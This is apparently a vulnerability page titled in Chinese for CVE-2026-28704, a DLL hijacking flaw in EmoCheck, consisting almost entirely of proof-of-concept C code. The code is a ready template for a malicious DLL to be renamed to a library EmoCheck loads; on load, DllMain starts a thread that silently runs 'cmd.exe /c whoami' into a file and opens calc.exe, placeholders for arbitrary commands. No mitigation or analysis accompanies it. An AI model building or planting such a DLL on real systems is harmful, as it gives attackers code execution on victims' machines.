CVE-2026-28704 EmoCheck DLL劫持漏洞

// PoC code for CVE-2026-28704 (DLL Hijacking) // This is a generic template for a malicious DLL. // Compile as a DLL and rename it to match the DLL EmoCheck tries to load. #include <windows.h> #include <stdlib.h> // Example export function. The actual function name depends on EmoCheck's imports. extern "C" __declspec(dllexport) void AnExportedFunction() { // Arbitrary code execution payload WinExec("cmd.exe /c whoami > C:\\temp\\poc.txt", SW_HIDE); // Or pop a calc for demonstration WinExec("calc.exe", SW_SHOW); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to run when the DLL is loaded by the vulnerable EmoCheck process CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)AnExportedFunction, NULL, 0, NULL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }